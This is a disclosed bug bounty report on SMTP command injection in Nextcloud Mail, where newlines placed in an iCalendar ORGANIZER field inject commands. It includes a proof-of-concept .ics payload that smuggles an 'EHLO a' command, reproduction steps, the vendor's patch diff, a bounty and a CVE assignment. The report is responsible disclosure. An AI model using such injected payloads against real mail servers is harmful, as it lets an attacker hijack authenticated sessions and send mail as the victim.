19 SMTP Command Injection in iCalendar Attachments to Emails via Newlines

Share:

SUMMARY BY NEXTCLOUD

Advisory at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-264h-3v4w-6xh2

TIMELINE

spaceraccoon submitted a report to Nextcloud. Mar 19th (8 months ago)

Note: This is similar to {1509216}, but has a new source/attack vector. Apologies for not picking this up earlier.

Summary:

When users receive iCalendar attachments in Mail, there is an option to add it to their calendar:

Once they add it to calendar, a PUT request is sent:

Code 737 Bytes Wrap lines Copy Download

```
1  PUT /remote.php/dav/calendars/nextcloud/personal/[redacted].ics HTTP/2
2  Host: 192.168.92.132
3
4  BEGIN:VCALENDAR
5  PRODID:-//Nextcloud Mail
6  BEGIN:VTIMEZONE
7  TZID:Asia/Singapore
8  BEGIN:STANDARD
9  TZOFFSETFROM:+0800
10  TZOFFSETTO:+0800
11  TZNAME:+08
```

```
BEGIN:VEVENT
CREATED:20220319T044448Z
DTSTAMP:20220319T080250Z
LAST-MODIFIED:20220319T080250Z
SEQUENCE:2
UID:a027641d-9f3a-4570-8cff-aa5cde0ba323
DTSTART;TZID=Asia/Singapore:20220322T100000
DTEND;TZID=Asia/Singapore:20220322T110000
STATUS:CONFIRMED
SUMMARY:Normal Event
ATTENDEE;CN=nextcloud;CUTYPE=INDIVIDUAL;PARTSTAT=DECLINED;ROLE=REQ-PARTICIP
 ANT;RSVP=TRUE;LANGUAGE=en:mailto:███
ORGANIZER;CN=Normal User:mailto:<ORGANIZER EMAIL>
END:VEVENT
END:VCALENDAR
```

At the same time, an SMTP pipelined command is sent to the email server to email `<ORGANIZER EMAIL>` that the user has accepted the event.

Unfortunately, since `<ORGANIZER EMAIL>` is not sanitized, if an attacker sends a poisoned iCalendar file with newlines in the `ORGANIZER` property, this will inject newlines in the pipelined SMTP commands, allowing the attacker to inject arbitrary SMTP commands.

These commands vary depending on the backend email server (Gmail, Outlook, local SMTP server) and thus can have different impacts, such as changing the `MAIL FROM` user, running sensitive commands like `QUEU` to view the current view, and so on. The errors in SMTP are returned in the response, thus making this a non-blind injection.

For example, an attacker can inject a simple `EHLO a` command:

Code 689 Bytes Wrap lines Copy Download

```
BEGIN:VCALENDAR
CALSCALE:GREGORIAN
VERSION:2.0
PRODID:-//Nextcloud Mail
BEGIN:VEVENT
CREATED:20220319T044448Z
DTSTAMP:20220319T080250Z
LAST-MODIFIED:20220319T080250Z
```

```
DTEND;TZID=Asia/Singapore:20220322T110000
STATUS:CONFIRMED
SUMMARY:Normal Event
ATTENDEE;CN=nextcloud;CUTYPE=INDIVIDUAL;PARTSTAT=DECLINED;ROLE=REQ-PARTICIP
 ANT;RSVP=TRUE;LANGUAGE=en:mailto:[redacted]
ORGANIZER;CN=Normal User:mailto:test(\nEHLO a\n)@gmail.com
END:VEVENT
BEGIN:VTIMEZONE
TZID:Asia/Singapore
BEGIN:STANDARD
TZOFFSETFROM:+0800
TZOFFSETTO:+0800
TZNAME:+08
DTSTART:19700101T000000
END:STANDARD
END:VTIMEZONE
END:VCALENDAR
```

Which for Gmail would return:

Code 763 Bytes Wrap lines Copy Download

```
{"status":"error","message":"Could not send mail: Expected response code 354 but got
```

Note that for this report, the commands are blind; but can be used remotely if changing the sender/recipient. I added additional logging to `/var/www/nextcloud/3rdparty/swiftmailer/swiftmailer/lib/classes/Swift/Transport/AbstractSmtpTransport.php` to confirm that the commands were injected.

Steps To Reproduce:

Note: Email sending should be set up in the admin settings.

Setup

`/var/www/nextcloud/3rdparty/swiftmailer/swiftmailer/lib/classes/Swift/Transport/AbstractSmtpTransport.php` to log SMTP commands. I inserted the following at line 343: `file_put_contents('/tmp/test.log',$response,FILE_APPEND);` (under `$response = $this->getFullResponse($seq);`). I also inserted the following at line 327:

1. At an external email, send the victim nextcloud email the attachment [redacted]. Modify [redacted] in the file to the victim's email.
2. As the victim, check email in nextcloud. Click the 3 dots beside `event.ics` > Import into Calendar > Personal. This triggers the PUT request.
3. Check `/tmp/test.log`. Confirm that the newlines and arbitrary `EHLO a` SMTP commands have been injected and sent to the server.

Impact

The impact varies based on which commands are supported by the backend SMTP server. However, the main risk here is that the attacker can then hijack an already-authenticated SMTP session and run arbitrary SMTP commands as the email user, such as sending emails to other users, changing the FROM user, and so on. As before, this depends on the configuration of the server itself, but newlines should be sanitized to mitigate such arbitrary SMTP command injection.

OT: posted a comment. Mar 19th (8 months ago)

Thanks a lot for reporting this potential issue back to us!

Our security team will take a look at this issue as soon as possible. For obvious reasons we'd like to ask you to not disclose this issue to any other party.

spaceraccoon posted a comment. Mar 19th (8 months ago)

Note: I tested this on the latest update 3.2.2 that patched #1509216, and it still works.

nickvergessen Nextcloud staff updated the severity from Medium to Medium (4.1). Mar 21st (8 months ago)

nickvergessen Nextcloud staff changed the status to ○ **Triaged**. Mar 21st (8 months ago)

thanks for the report, we reproduced it and forwarded it to the engineering team

nickvergessen Nextcloud staff posted a comment. Mar 23rd (8 months ago)

Can you confirm the following patch fixes it?

Code 1.75 KiB Wrap lines Copy Download

```
1  diff --git a/apps/dav/lib/CalDAV/Reminder/NotificationProvider/EmailProvider.php b/ap
2  index 456b9f8b42..d5d2d2923e 100644
3  --- a/apps/dav/lib/CalDAV/Reminder/NotificationProvider/EmailProvider.php
4  +++ b/apps/dav/lib/CalDAV/Reminder/NotificationProvider/EmailProvider.php
```

```
8                                                   if (strcasecmp($addressesOfDelegate,
9  -                                                        $emailAddresses[substr($addre
10 +                                                        $delegateEmail = substr($add
11 +                                                        if ($delegateEmail !== false
12 +                                                                $emailAddresses[$del
13 +                                                        }
14                                                  }
15                                          }
16
17 @@ -345,7 +348,13 @@ class EmailProvider extends AbstractProvider {
18                          return null;
19                  }
20
21 -                return substr($attendee->getValue(), 7);
22 +                $attendeeEMail = substr($attendee->getValue(), 7);
23 +
24 +                if ($attendeeEMail === false || !$this->mailer->validateMailAddress(
25 +                        return null;
26 +                }
27 +
28 +                return $attendeeEMail;
29          }
30
31          /**
```

spaceraccoon posted a comment. Mar 29th (8 months ago)

Hi @nickvergessen , yep, looks good, thank you!

nickvergessen Nextcloud staff posted a comment. Apr 4th (8 months ago)

Thanks for the feedback, I forwarded it to the product team and we will include it in the next release then

nickvergessen Nextcloud staff closed the report and changed the status to ○ **Resolved**. May 20th (6 months ago)

Thanks a lot for your report again. This has been resolved in our latest maintenance releases and we're working on the advisories at the moment.

Nextcloud rewarded spaceraccoon with a **$250** bounty. May 20th (6 months ago)

nickvergessen Nextcloud staff posted a comment. May 20th (6 months ago)

We plan to release public advisories for this issue on 09.06.2022. We've added a draft version of the advisory as summary to this report: https://github.com/nextcloud/security-advisories/security/advisories/GHSA-264h-3v4w-6xh2

Please let us know if you wish any changes to the advisory. (PS you can not access it until we added you)

spaceraccoon posted a comment. May 25th (6 months ago)

Hi @nickvergessen , please add spaceraccoon on GitHub for credits. Thanks!

nickvergessen Nextcloud staff posted a comment. May 25th (6 months ago)

Added

nickvergessen Nextcloud staff updated CVE reference to CVE-2022-31014. Jun 2nd (6 months ago)

nickvergessen Nextcloud staff requested to disclose this report. Jul 4th (5 months ago)

spaceraccoon posted a comment. Jul 4th (5 months ago)

Hi @nickvergessen , could the emails and attached images in the report be redacted before disclosure?

nickvergessen Nextcloud staff posted a comment. Jul 4th (5 months ago)

Done

spaceraccoon agreed to disclose this report. Jul 4th (5 months ago)

This report has been disclosed. Jul 4th (5 months ago)